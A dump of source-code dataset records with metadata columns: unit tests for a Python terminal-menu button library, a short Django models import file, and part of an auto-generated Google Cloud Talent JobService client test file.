button = tam_tools.tam_menu.TAMTextButton("Hello", 3, 4, AQUA, GREEN, lambda: None, PURPLE, GREEN)
self.assertIsInstance(button, tam_tools.tam_menu.TAMTextButton)
def test_init_TextButton_2(self):
button = tam_tools.tam_menu.TAMTextButton("Hello\nCats\t123",
3,
4,
AQUA,
GREEN,
lambda: None,
PURPLE,
GREEN,
on_chars="!@#$%^&*")
self.assertIsInstance(button, tam_tools.tam_menu.TAMTextButton)
@staticmethod
def test_call_TextButton():
button = tam_tools.tam_menu.TAMTextButton("Hello\nCats\t123",
3,
4,
AQUA,
GREEN,
lambda: None,
PURPLE,
GREEN,
on_chars="( ")
button()
def test_str_TextButton(self):
button = tam_tools.tam_menu.TAMTextButton("Hello", 3, 4, AQUA, GREEN, lambda: None, PURPLE, GREEN)
self.assertEqual(str(button), "Hello")
def test_str_TextButton_2(self):
button = tam_tools.tam_menu.TAMTextButton("Hello\nCats\t123",
3,
4,
AQUA,
GREEN,
lambda: None,
PURPLE,
RED,
on_chars="( ")
self.assertEqual(str(button), "Hello\nCats\t123")
@staticmethod
def test_update():
button = tam_tools.tam_menu.TAMTextButton("Hello\nCats\t123",
3,
4,
AQUA,
GREEN,
lambda: None,
PURPLE,
RED,
on_chars="!@#$%^&*")
button.update()
def test_draw(self):
button = tam_tools.tam_menu.TAMTextButton("Hello", 0, 0, AQUA, GREEN, lambda: None, PURPLE, GREEN)
surface = tam_io.tam_surface.TAMSurface(6, 6, " ", BLACK, BLACK)
button.draw(surface)
for spot, char in enumerate("Hello"):
self.assertEqual(surface.get_spot(spot, 0), (char, AQUA, GREEN))
def test_draw_2(self):
button = tam_tools.tam_menu.TAMTextButton("Hello\ncats", 0, 0, AQUA, GREEN, lambda: None, PURPLE, GREEN)
surface = tam_io.tam_surface.TAMSurface(6, 6, " ", BLACK, BLACK)
button.draw(surface)
for spot, char in enumerate("Hello"):
self.assertEqual(surface.get_spot(spot, 0), (char, AQUA, GREEN))
for spot, char in enumerate("cats"):
self.assertEqual(surface.get_spot(spot, 1), (char, AQUA, GREEN))
def test_on(self):
button = tam_tools.tam_menu.TAMTextButton("Hello 123\ncats", 2, 0, AQUA, GREEN, lambda: None, PURPLE, GRAY)
surface = tam_io.tam_surface.TAMSurface(15, 6, " ", BLACK, BLACK)
button.off()
button.on()
button.draw(surface)
for spot, char in enumerate("* Hello 123"):
self.assertEqual(surface.get_spot(spot, 0), (char, PURPLE, GRAY))
for spot, char in enumerate("cats"):
self.assertEqual(surface.get_spot(spot + 2, 1), (char, PURPLE, GRAY))
def test_on_2(self):
button = tam_tools.tam_menu.TAMTextButton("Hello\ncats\nlol",
8,
0,
AQUA,
GREEN,
lambda: None,
PURPLE,
YELLOW,
on_chars="!@#$%^&*")
surface = tam_io.tam_surface.TAMSurface(15, 6, " ", BLACK, BLACK)
button.off()
button.on()
button.draw(surface)
for spot, char in enumerate("!@#$%^&*Hello"):
self.assertEqual(surface.get_spot(spot, 0), (char, PURPLE, YELLOW))
for spot, char in enumerate("cats"):
self.assertEqual(surface.get_spot(spot + 8, 1), (char, PURPLE, YELLOW))
for spot, char in enumerate("lol"):
self.assertEqual(surface.get_spot(spot + 8, 2), (char, PURPLE, YELLOW))
def test_off(self):
button = tam_tools.tam_menu.TAMTextButton("Hello\ncats", 0, 0, AQUA, GREEN, lambda: None, PURPLE, GREEN)
surface = tam_io.tam_surface.TAMSurface(6, 6, " ", BLACK, BLACK)
button.on()
button.off()
button.draw(surface)
for spot, char in enumerate("Hello"):
self.assertEqual(surface.get_spot(spot, 0), (char, AQUA, GREEN))
for spot, char in enumerate("cats"):
self.assertEqual(surface.get_spot(spot, 1), (char, AQUA, GREEN))
def test_off_2(self):
button = tam_tools.tam_menu.TAMTextButton("Hello 123\nc\tats", 3, 1, AQUA, GREEN, lambda: None, PURPLE, GREEN)
surface = tam_io.tam_surface.TAMSurface(19, 19, " ", BLACK, BLACK)
button.on()
button.off()
button.draw(surface)
for spot, char in enumerate("Hello 123"):
self.assertEqual(surface.get_spot(spot + 3, 1), (char, AQUA, GREEN))
for spot, char in enumerate("c ats"):
self.assertEqual(surface.get_spot(spot + 3, 2), (char, AQUA, GREEN))
@staticmethod
def test_run_action():
button = tam_tools.tam_menu.TAMTextButton("Hello\nCats\t123",
3,
4,
AQUA,
GREEN,
lambda: None,
PURPLE,
RED,
on_chars="( ")
button.run_action()
def test_set_action(self):
def func():
pass
button = tam_tools.tam_menu.TAMTextButton("Hello\nCats\t123",
3,
4,
AQUA,
GREEN,
lambda: 1 + 90,
PURPLE,
RED,
on_chars="( ")
button.set_action(func)
self.assertIs(button.get_action(), func)
def test_get_action(self):
def func():
pass
button = tam_tools.tam_menu.TAMTextButton("Hello\nCats\t123",
4,
4,
RED,
GREEN,
func,
LIGHT_RED,
BLACK,
on_chars="&*")
self.assertIs(button.get_action(), func)
def test_get_position(self):
button = tam_tools.tam_menu.TAMTextButton("Hello\ncats", 0, 0, AQUA, RED, lambda: None, PURPLE, GREEN)
self.assertEqual(button.get_position(), (0, 0))
def test_get_position_2(self):
button = tam_tools.tam_menu.TAMTextButton("Hello 123\nc\tats", 3, 1, AQUA, RED, lambda: None, PURPLE, GREEN)
self.assertEqual(button.get_position(), (3, 1))
def test_set_position(self):
button = tam_tools.tam_menu.TAMTextButton("Hello 123\nc\tats", 3, 1, AQUA, RED, lambda: None, PURPLE, GREEN)
surface = tam_io.tam_surface.TAMSurface(19, 19, " ", BLACK, BLACK)
button.on()
button.off()
button.set_position(0, 0)
button.draw(surface)
for spot, char in enumerate("Hello 123"):
self.assertEqual(surface.get_spot(spot, 0), (char, AQUA, RED))
for spot, char in enumerate("c ats"):
self.assertEqual(surface.get_spot(spot, 1), (char, AQUA, RED))
def test_set_position_2(self):
button = tam_tools.tam_menu.TAMTextButton("Hello\ncats\nlol",
8,
0,
AQUA,
RED,
lambda: None,
PURPLE,
YELLOW,
on_chars="!@#$%^&*")
surface = tam_io.tam_surface.TAMSurface(15, 6, " ", BLACK, BLACK)
button.off()
button.on()
button.set_position(9, 1)
button.draw(surface)
for spot, char in enumerate("!@#$%^&*Hello"):
self.assertEqual(surface.get_spot(spot + 1, 1), (char, PURPLE, YELLOW))
for spot, char in enumerate("cats"):
self.assertEqual(surface.get_spot(spot + 9, 2), (char, PURPLE, YELLOW))
for spot, char in enumerate("lol"):
self.assertEqual(surface.get_spot(spot + 9, 3), (char, PURPLE, YELLOW))
class TAMTextBoxButtonTests(unittest.TestCase):
def test_init_TextBoxButton(self):
button = tam_tools.tam_menu.TAMTextBoxButton("test", 3, 10, 20, 5, "#", AQUA, RED, lambda: None, PURPLE, GREEN)
self.assertIsInstance(button, tam_tools.tam_menu.TAMTextBoxButton)
def test_init_TextBoxButton_2(self):
button = tam_tools.tam_menu.TAMTextBoxButton("test_2\ncats",
4,
11,
22,
7,
">",
WHITE,
YELLOW,
lambda: None,
BLUE,
YELLOW,
on_char="$")
self.assertIsInstance(button, tam_tools.tam_menu.TAMTextBoxButton)
@staticmethod
def test_call_TextBoxButton():
button = tam_tools.tam_menu.TAMTextBoxButton("test", 3, 10, 20, 5, "#", AQUA, GREEN, lambda: None, PURPLE, GREEN)
button()
def test_str_TextBoxButton(self):
button = tam_tools.tam_menu.TAMTextBoxButton("test", 3, 10, 20, 5, "#", AQUA, GREEN, lambda: None, PURPLE, GREEN)
self.assertEqual(str(button), "test")
def test_str_TextBoxButton_2(self):
button = tam_tools.tam_menu.TAMTextBoxButton("test_2\ncats",
4,
11,
22,
7,
">",
WHITE,
YELLOW,
lambda: None,
BLUE,
YELLOW,
on_char="$")
self.assertEqual(str(button), "test_2\ncats")
@staticmethod
def test_update():
button = tam_tools.tam_menu.TAMTextBoxButton("test_2\ncats",
4,
11,
22,
7,
">",
WHITE,
YELLOW,
lambda: None,
BLUE,
YELLOW,
on_char="$")
button.update()
def test_draw(self):
button = tam_tools.tam_menu.TAMTextBoxButton("test", 0, 0, 10, 5, "#", AQUA, GREEN, lambda: None, PURPLE, GREEN)
surface = tam_io.tam_surface.TAMSurface(12, 6, " ", BLACK, BLACK)
button.draw(surface)
self.assertEqual(surface.get_spot(0, 0), ("#", AQUA, GREEN))
for spot, char in enumerate("test"):
self.assertEqual(surface.get_spot(spot + 2, 2), (char, AQUA, GREEN))
def test_draw_2(self):
button = tam_tools.tam_menu.TAMTextBoxButton("test_2\ncats",
0,
0,
9,
7,
">",
WHITE,
YELLOW,
lambda: None,
BLUE,
YELLOW,
on_char="$")
surface = tam_io.tam_surface.TAMSurface(12, 12, " ", BLACK, BLACK)
button.draw(surface)
self.assertEqual(surface.get_spot(0, 0), (">", WHITE, YELLOW))
for spot, char in enumerate("test_2"):
self.assertEqual(surface.get_spot(spot + 2, 2), (char, WHITE, YELLOW))
for spot, char in enumerate("cats"):
self.assertEqual(surface.get_spot(spot + 2, 3), (char, WHITE, YELLOW))
def test_on(self):
button = tam_tools.tam_menu.TAMTextBoxButton("test", 0, 0, 10, 5, "#", AQUA, GREEN, lambda: None, PURPLE, RED)
surface = tam_io.tam_surface.TAMSurface(12, 6, " ", BLACK, BLACK)
button.off()
button.on()
button.draw(surface)
self.assertEqual(surface.get_spot(0, 0), ("/", PURPLE, RED))
for spot, char in enumerate("test"):
self.assertEqual(surface.get_spot(spot + 2, 2), (char, PURPLE, RED))
def test_on_2(self):
button = tam_tools.tam_menu.TAMTextBoxButton("test_2\ncats",
0,
0,
9,
7,
">",
WHITE,
YELLOW,
lambda: None,
BLUE,
PURPLE,
on_char="$")
surface = tam_io.tam_surface.TAMSurface(15, 15, " ", BLACK, BLACK)
button.off()
button.on()
button.draw(surface)
self.assertEqual(surface.get_spot(0, 0), ("$", BLUE, PURPLE))
for spot, char in enumerate("test_2"):
self.assertEqual(surface.get_spot(spot + 2, 2), (char, BLUE, PURPLE))
for spot, char in enumerate("cats"):
self.assertEqual(surface.get_spot(spot + 2, 3), (char, BLUE, PURPLE))
def test_off(self):
button = tam_tools.tam_menu.TAMTextBoxButton("test", 0, 0, 10, 5, "#", AQUA, GREEN, lambda: None, PURPLE, RED)
surface = tam_io.tam_surface.TAMSurface(12, 6, " ", BLACK, BLACK)
button.on()
button.off()
button.draw(surface)
self.assertEqual(surface.get_spot(0, 0), ("#", AQUA, GREEN))
for spot, char in enumerate("test"):
self.assertEqual(surface.get_spot(spot + 2, 2), (char, AQUA, GREEN))
def test_off_2(self):
button = tam_tools.tam_menu.TAMTextBoxButton("test_2\ncats",
0,
0,
9,
7,
">",
WHITE,
YELLOW,
lambda: None,
BLUE,
PURPLE,
on_char="$")
surface = tam_io.tam_surface.TAMSurface(15, 15, " ", BLACK, BLACK)
button.on()
button.off()
button.draw(surface)
self.assertEqual(surface.get_spot(0, 0), (">", WHITE, YELLOW))
for spot, char in enumerate("test_2"):
self.assertEqual(surface.get_spot(spot + 2, 2), (char, WHITE, YELLOW))
for spot, char in enumerate("cats"):
self.assertEqual(surface.get_spot(spot + 2, 3), (char, WHITE, YELLOW))
@staticmethod
def test_run_action():
button = tam_tools.tam_menu.TAMTextBoxButton("test_2\ncats",
0,
0,
9,
7,
">",
WHITE,
YELLOW,
lambda: None,
BLUE,
PURPLE,
on_char="$")
button.run_action()
def test_set_action(self):
def func():
pass
button = tam_tools.tam_menu.TAMTextBoxButton("test_2\ncats",
0,
0,
9,
7,
">",
WHITE,
YELLOW,
lambda: None,
BLUE,
PURPLE,
on_char="$")
button.set_action(func)
self.assertIs(button.get_action(), func)
def test_get_action(self):
def func():
pass
button = tam_tools.tam_menu.TAMTextBoxButton("test_2\ncats",
0,
0,
9,
7,
">",
WHITE,
YELLOW,
func,
BLUE,
PURPLE,
on_char="$")
self.assertIs(button.get_action(), func)
def test_get_position(self):
button = tam_tools.tam_menu.TAMTextBoxButton("test_2\ncats",
0,
0,
9,
7,
">",
WHITE,
YELLOW,
lambda: None,
BLUE,
PURPLE,
on_char="$")
self.assertEqual(button.get_position(), (0, 0))
def test_get_position_2(self):
button = tam_tools.tam_menu.TAMTextBoxButton("test_2\ncats",
3,
1,
9,
7,
">",
WHITE,
YELLOW,
lambda: None,
BLUE,
PURPLE,
on_char="$")
self.assertEqual(button.get_position(), (3, 1))
def test_set_position(self):
button = tam_tools.tam_menu.TAMTextBoxButton("test_2\ncats",
0,
0,
9,
7,
">",
WHITE,
YELLOW,
lambda: None,
BLUE,
PURPLE,
on_char="$")
surface = tam_io.tam_surface.TAMSurface(15, 15, " ", BLACK, BLACK)
button.on()
button.off()
button.set_position(2, 3)
button.draw(surface)
self.assertEqual(surface.get_spot(2, 3), (">", WHITE, YELLOW))
for spot, char in enumerate("test_2"):
self.assertEqual(surface.get_spot(spot + 4, 5), (char, WHITE, YELLOW))
for spot, char in enumerate("cats"):
self.assertEqual(surface.get_spot(spot + 4, 6), (char, WHITE, YELLOW))
def test_set_position_2(self):
button = tam_tools.tam_menu.TAMTextBoxButton("test_2\ncats",
0,
0,
9,
7,
">",
WHITE,
YELLOW,
lambda: None,
BLUE,
PURPLE,
on_char="$")
surface = tam_io.tam_surface.TAMSurface(15, 15, " ", BLACK, BLACK)
button.off()
button.on()
button.set_position(4, 6)
button.draw(surface)
self.assertEqual(surface.get_spot(4, 6), ("$", BLUE, PURPLE))
for spot, char in enumerate("test_2"):
self.assertEqual(surface.get_spot(spot + 6, 8), (char, BLUE, PURPLE))
for spot, char in enumerate("cats"):
self.assertEqual(surface.get_spot(spot + 6, 9), (char, BLUE, PURPLE))
| 46.186576
| 127
| 0.426351
| 3,877
| 40,598
| 4.292752
| 0.031468
| 0.053836
| 0.083278
| 0.113561
| 0.94376
| 0.923752
| 0.917503
| 0.899417
| 0.869915
| 0.847383
| 0
| 0.038979
| 0.459702
| 40,598
| 878
| 128
| 46.23918
| 0.719763
| 0.000936
| 0
| 0.809735
| 0
| 0
| 0.038144
| 0
| 0
| 0
| 0
| 0
| 0.134218
| 1
| 0.089971
| false
| 0.0059
| 0.007375
| 0
| 0.10177
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
b4383ffbf21e099838c918d3c41195c4b2346f9b
| 129
|
py
|
Python
|
backend/core/models/__init__.py
|
linea-it/pz-server
|
20b75baae8afd2d3e5ede6fbcd71ebe54918a7cd
|
[
"MIT"
] | 3
|
2021-09-21T21:00:51.000Z
|
2022-03-24T19:36:39.000Z
|
backend/core/models/__init__.py
|
linea-it/pz-server
|
20b75baae8afd2d3e5ede6fbcd71ebe54918a7cd
|
[
"MIT"
] | null | null | null |
backend/core/models/__init__.py
|
linea-it/pz-server
|
20b75baae8afd2d3e5ede6fbcd71ebe54918a7cd
|
[
"MIT"
] | null | null | null |
from core.models.release import Release
from core.models.product_type import ProductType
from core.models.product import Product
| 32.25
| 48
| 0.860465
| 19
| 129
| 5.789474
| 0.421053
| 0.218182
| 0.381818
| 0.381818
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.093023
| 129
| 3
| 49
| 43
| 0.940171
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 0
| 0
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 8
|
b4446d66c7e1f431ef476cea1c49292fb757f347
| 124,658
|
py
|
Python
|
tests/unit/gapic/talent_v4beta1/test_job_service.py
|
busunkim96/python-talent
|
ef281ae8b8204c4f4a6bd57acbba7829cca4d24f
|
[
"Apache-2.0"
] | null | null | null |
tests/unit/gapic/talent_v4beta1/test_job_service.py
|
busunkim96/python-talent
|
ef281ae8b8204c4f4a6bd57acbba7829cca4d24f
|
[
"Apache-2.0"
] | null | null | null |
tests/unit/gapic/talent_v4beta1/test_job_service.py
|
busunkim96/python-talent
|
ef281ae8b8204c4f4a6bd57acbba7829cca4d24f
|
[
"Apache-2.0"
] | null | null | null |
# -*- coding: utf-8 -*-
# Copyright 2020 Google LLC
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
import os
import mock
import grpc
from grpc.experimental import aio
import math
import pytest
from proto.marshal.rules.dates import DurationRule, TimestampRule
from google import auth
from google.api_core import client_options
from google.api_core import exceptions
from google.api_core import future
from google.api_core import gapic_v1
from google.api_core import grpc_helpers
from google.api_core import grpc_helpers_async
from google.api_core import operation_async
from google.api_core import operations_v1
from google.auth import credentials
from google.auth.exceptions import MutualTLSChannelError
from google.cloud.talent_v4beta1.services.job_service import JobServiceAsyncClient
from google.cloud.talent_v4beta1.services.job_service import JobServiceClient
from google.cloud.talent_v4beta1.services.job_service import pagers
from google.cloud.talent_v4beta1.services.job_service import transports
from google.cloud.talent_v4beta1.types import common
from google.cloud.talent_v4beta1.types import filters
from google.cloud.talent_v4beta1.types import histogram
from google.cloud.talent_v4beta1.types import job
from google.cloud.talent_v4beta1.types import job as gct_job
from google.cloud.talent_v4beta1.types import job_service
from google.longrunning import operations_pb2
from google.oauth2 import service_account
from google.protobuf import duration_pb2 as duration # type: ignore
from google.protobuf import field_mask_pb2 as field_mask # type: ignore
from google.protobuf import timestamp_pb2 as timestamp # type: ignore
from google.protobuf import wrappers_pb2 as wrappers # type: ignore
from google.type import latlng_pb2 as latlng # type: ignore
from google.type import money_pb2 as money # type: ignore
from google.type import postal_address_pb2 as gt_postal_address # type: ignore
from google.type import timeofday_pb2 as timeofday # type: ignore
def client_cert_source_callback():
return b"cert bytes", b"key bytes"
# If default endpoint is localhost, then default mtls endpoint will be the same.
# This method modifies the default endpoint so the client can produce a different
# mtls endpoint for endpoint testing purposes.
def modify_default_endpoint(client):
return (
"foo.googleapis.com"
if ("localhost" in client.DEFAULT_ENDPOINT)
else client.DEFAULT_ENDPOINT
)
def test__get_default_mtls_endpoint():
api_endpoint = "example.googleapis.com"
api_mtls_endpoint = "example.mtls.googleapis.com"
sandbox_endpoint = "example.sandbox.googleapis.com"
sandbox_mtls_endpoint = "example.mtls.sandbox.googleapis.com"
non_googleapi = "api.example.com"
assert JobServiceClient._get_default_mtls_endpoint(None) is None
assert (
JobServiceClient._get_default_mtls_endpoint(api_endpoint) == api_mtls_endpoint
)
assert (
JobServiceClient._get_default_mtls_endpoint(api_mtls_endpoint)
== api_mtls_endpoint
)
assert (
JobServiceClient._get_default_mtls_endpoint(sandbox_endpoint)
== sandbox_mtls_endpoint
)
assert (
JobServiceClient._get_default_mtls_endpoint(sandbox_mtls_endpoint)
== sandbox_mtls_endpoint
)
assert JobServiceClient._get_default_mtls_endpoint(non_googleapi) == non_googleapi
@pytest.mark.parametrize("client_class", [JobServiceClient, JobServiceAsyncClient])
def test_job_service_client_from_service_account_file(client_class):
creds = credentials.AnonymousCredentials()
with mock.patch.object(
service_account.Credentials, "from_service_account_file"
) as factory:
factory.return_value = creds
client = client_class.from_service_account_file("dummy/file/path.json")
assert client._transport._credentials == creds
client = client_class.from_service_account_json("dummy/file/path.json")
assert client._transport._credentials == creds
assert client._transport._host == "jobs.googleapis.com:443"
def test_job_service_client_get_transport_class():
transport = JobServiceClient.get_transport_class()
assert transport == transports.JobServiceGrpcTransport
transport = JobServiceClient.get_transport_class("grpc")
assert transport == transports.JobServiceGrpcTransport
@pytest.mark.parametrize(
"client_class,transport_class,transport_name",
[
(JobServiceClient, transports.JobServiceGrpcTransport, "grpc"),
(
JobServiceAsyncClient,
transports.JobServiceGrpcAsyncIOTransport,
"grpc_asyncio",
),
],
)
@mock.patch.object(
JobServiceClient, "DEFAULT_ENDPOINT", modify_default_endpoint(JobServiceClient)
)
@mock.patch.object(
JobServiceAsyncClient,
"DEFAULT_ENDPOINT",
modify_default_endpoint(JobServiceAsyncClient),
)
def test_job_service_client_client_options(
client_class, transport_class, transport_name
):
# Check that if channel is provided we won't create a new one.
with mock.patch.object(JobServiceClient, "get_transport_class") as gtc:
transport = transport_class(credentials=credentials.AnonymousCredentials())
client = client_class(transport=transport)
gtc.assert_not_called()
# Check that if channel is provided via str we will create a new one.
with mock.patch.object(JobServiceClient, "get_transport_class") as gtc:
client = client_class(transport=transport_name)
gtc.assert_called()
# Check the case api_endpoint is provided.
options = client_options.ClientOptions(api_endpoint="squid.clam.whelk")
with mock.patch.object(transport_class, "__init__") as patched:
patched.return_value = None
client = client_class(client_options=options)
patched.assert_called_once_with(
credentials=None,
credentials_file=None,
host="squid.clam.whelk",
scopes=None,
api_mtls_endpoint="squid.clam.whelk",
client_cert_source=None,
quota_project_id=None,
)
# Check the case api_endpoint is not provided and GOOGLE_API_USE_MTLS is
# "never".
with mock.patch.dict(os.environ, {"GOOGLE_API_USE_MTLS": "never"}):
with mock.patch.object(transport_class, "__init__") as patched:
patched.return_value = None
client = client_class()
patched.assert_called_once_with(
credentials=None,
credentials_file=None,
host=client.DEFAULT_ENDPOINT,
scopes=None,
api_mtls_endpoint=client.DEFAULT_ENDPOINT,
client_cert_source=None,
quota_project_id=None,
)
# Check the case api_endpoint is not provided and GOOGLE_API_USE_MTLS is
# "always".
with mock.patch.dict(os.environ, {"GOOGLE_API_USE_MTLS": "always"}):
with mock.patch.object(transport_class, "__init__") as patched:
patched.return_value = None
client = client_class()
patched.assert_called_once_with(
credentials=None,
credentials_file=None,
host=client.DEFAULT_MTLS_ENDPOINT,
scopes=None,
api_mtls_endpoint=client.DEFAULT_MTLS_ENDPOINT,
client_cert_source=None,
quota_project_id=None,
)
# Check the case api_endpoint is not provided, GOOGLE_API_USE_MTLS is
# "auto", and client_cert_source is provided.
with mock.patch.dict(os.environ, {"GOOGLE_API_USE_MTLS": "auto"}):
options = client_options.ClientOptions(
client_cert_source=client_cert_source_callback
)
with mock.patch.object(transport_class, "__init__") as patched:
patched.return_value = None
client = client_class(client_options=options)
patched.assert_called_once_with(
credentials=None,
credentials_file=None,
host=client.DEFAULT_MTLS_ENDPOINT,
scopes=None,
api_mtls_endpoint=client.DEFAULT_MTLS_ENDPOINT,
client_cert_source=client_cert_source_callback,
quota_project_id=None,
)
# Check the case api_endpoint is not provided, GOOGLE_API_USE_MTLS is
# "auto", and default_client_cert_source is provided.
with mock.patch.dict(os.environ, {"GOOGLE_API_USE_MTLS": "auto"}):
with mock.patch.object(transport_class, "__init__") as patched:
with mock.patch(
"google.auth.transport.mtls.has_default_client_cert_source",
return_value=True,
):
patched.return_value = None
client = client_class()
patched.assert_called_once_with(
credentials=None,
credentials_file=None,
host=client.DEFAULT_MTLS_ENDPOINT,
scopes=None,
api_mtls_endpoint=client.DEFAULT_MTLS_ENDPOINT,
client_cert_source=None,
quota_project_id=None,
)
# Check the case api_endpoint is not provided, GOOGLE_API_USE_MTLS is
# "auto", but client_cert_source and default_client_cert_source are None.
with mock.patch.dict(os.environ, {"GOOGLE_API_USE_MTLS": "auto"}):
with mock.patch.object(transport_class, "__init__") as patched:
with mock.patch(
"google.auth.transport.mtls.has_default_client_cert_source",
return_value=False,
):
patched.return_value = None
client = client_class()
patched.assert_called_once_with(
credentials=None,
credentials_file=None,
host=client.DEFAULT_ENDPOINT,
scopes=None,
api_mtls_endpoint=client.DEFAULT_ENDPOINT,
client_cert_source=None,
quota_project_id=None,
)
# Check the case api_endpoint is not provided and GOOGLE_API_USE_MTLS has
# unsupported value.
with mock.patch.dict(os.environ, {"GOOGLE_API_USE_MTLS": "Unsupported"}):
with pytest.raises(MutualTLSChannelError):
client = client_class()
# Check the case quota_project_id is provided
options = client_options.ClientOptions(quota_project_id="octopus")
with mock.patch.object(transport_class, "__init__") as patched:
patched.return_value = None
client = client_class(client_options=options)
patched.assert_called_once_with(
credentials=None,
credentials_file=None,
host=client.DEFAULT_ENDPOINT,
scopes=None,
api_mtls_endpoint=client.DEFAULT_ENDPOINT,
client_cert_source=None,
quota_project_id="octopus",
)
@pytest.mark.parametrize(
"client_class,transport_class,transport_name",
[
(JobServiceClient, transports.JobServiceGrpcTransport, "grpc"),
(
JobServiceAsyncClient,
transports.JobServiceGrpcAsyncIOTransport,
"grpc_asyncio",
),
],
)
def test_job_service_client_client_options_scopes(
client_class, transport_class, transport_name
):
# Check the case scopes are provided.
options = client_options.ClientOptions(scopes=["1", "2"],)
with mock.patch.object(transport_class, "__init__") as patched:
patched.return_value = None
client = client_class(client_options=options)
patched.assert_called_once_with(
credentials=None,
credentials_file=None,
host=client.DEFAULT_ENDPOINT,
scopes=["1", "2"],
api_mtls_endpoint=client.DEFAULT_ENDPOINT,
client_cert_source=None,
quota_project_id=None,
)
@pytest.mark.parametrize(
"client_class,transport_class,transport_name",
[
(JobServiceClient, transports.JobServiceGrpcTransport, "grpc"),
(
JobServiceAsyncClient,
transports.JobServiceGrpcAsyncIOTransport,
"grpc_asyncio",
),
],
)
def test_job_service_client_client_options_credentials_file(
client_class, transport_class, transport_name
):
# Check the case credentials file is provided.
options = client_options.ClientOptions(credentials_file="credentials.json")
with mock.patch.object(transport_class, "__init__") as patched:
patched.return_value = None
client = client_class(client_options=options)
patched.assert_called_once_with(
credentials=None,
credentials_file="credentials.json",
host=client.DEFAULT_ENDPOINT,
scopes=None,
api_mtls_endpoint=client.DEFAULT_ENDPOINT,
client_cert_source=None,
quota_project_id=None,
)
def test_job_service_client_client_options_from_dict():
with mock.patch(
"google.cloud.talent_v4beta1.services.job_service.transports.JobServiceGrpcTransport.__init__"
) as grpc_transport:
grpc_transport.return_value = None
client = JobServiceClient(client_options={"api_endpoint": "squid.clam.whelk"})
grpc_transport.assert_called_once_with(
credentials=None,
credentials_file=None,
host="squid.clam.whelk",
scopes=None,
api_mtls_endpoint="squid.clam.whelk",
client_cert_source=None,
quota_project_id=None,
)
def test_create_job(transport: str = "grpc", request_type=job_service.CreateJobRequest):
client = JobServiceClient(
credentials=credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client._transport.create_job), "__call__") as call:
# Designate an appropriate return value for the call.
call.return_value = gct_job.Job(
name="name_value",
company="company_value",
requisition_id="requisition_id_value",
title="title_value",
description="description_value",
addresses=["addresses_value"],
job_benefits=[common.JobBenefit.CHILD_CARE],
degree_types=[common.DegreeType.PRIMARY_EDUCATION],
department="department_value",
employment_types=[common.EmploymentType.FULL_TIME],
incentives="incentives_value",
language_code="language_code_value",
job_level=common.JobLevel.ENTRY_LEVEL,
promotion_value=1635,
qualifications="qualifications_value",
responsibilities="responsibilities_value",
posting_region=common.PostingRegion.ADMINISTRATIVE_AREA,
visibility=common.Visibility.ACCOUNT_ONLY,
company_display_name="company_display_name_value",
)
response = client.create_job(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == job_service.CreateJobRequest()
# Establish that the response is the type that we expect.
assert isinstance(response, gct_job.Job)
assert response.name == "name_value"
assert response.company == "company_value"
assert response.requisition_id == "requisition_id_value"
assert response.title == "title_value"
assert response.description == "description_value"
assert response.addresses == ["addresses_value"]
assert response.job_benefits == [common.JobBenefit.CHILD_CARE]
assert response.degree_types == [common.DegreeType.PRIMARY_EDUCATION]
assert response.department == "department_value"
assert response.employment_types == [common.EmploymentType.FULL_TIME]
assert response.incentives == "incentives_value"
assert response.language_code == "language_code_value"
assert response.job_level == common.JobLevel.ENTRY_LEVEL
assert response.promotion_value == 1635
assert response.qualifications == "qualifications_value"
assert response.responsibilities == "responsibilities_value"
assert response.posting_region == common.PostingRegion.ADMINISTRATIVE_AREA
assert response.visibility == common.Visibility.ACCOUNT_ONLY
assert response.company_display_name == "company_display_name_value"
def test_create_job_from_dict():
test_create_job(request_type=dict)
@pytest.mark.asyncio
async def test_create_job_async(transport: str = "grpc_asyncio"):
client = JobServiceAsyncClient(
credentials=credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = job_service.CreateJobRequest()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client._client._transport.create_job), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
gct_job.Job(
name="name_value",
company="company_value",
requisition_id="requisition_id_value",
title="title_value",
description="description_value",
addresses=["addresses_value"],
job_benefits=[common.JobBenefit.CHILD_CARE],
degree_types=[common.DegreeType.PRIMARY_EDUCATION],
department="department_value",
employment_types=[common.EmploymentType.FULL_TIME],
incentives="incentives_value",
language_code="language_code_value",
job_level=common.JobLevel.ENTRY_LEVEL,
promotion_value=1635,
qualifications="qualifications_value",
responsibilities="responsibilities_value",
posting_region=common.PostingRegion.ADMINISTRATIVE_AREA,
visibility=common.Visibility.ACCOUNT_ONLY,
company_display_name="company_display_name_value",
)
)
response = await client.create_job(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the response is the type that we expect.
assert isinstance(response, gct_job.Job)
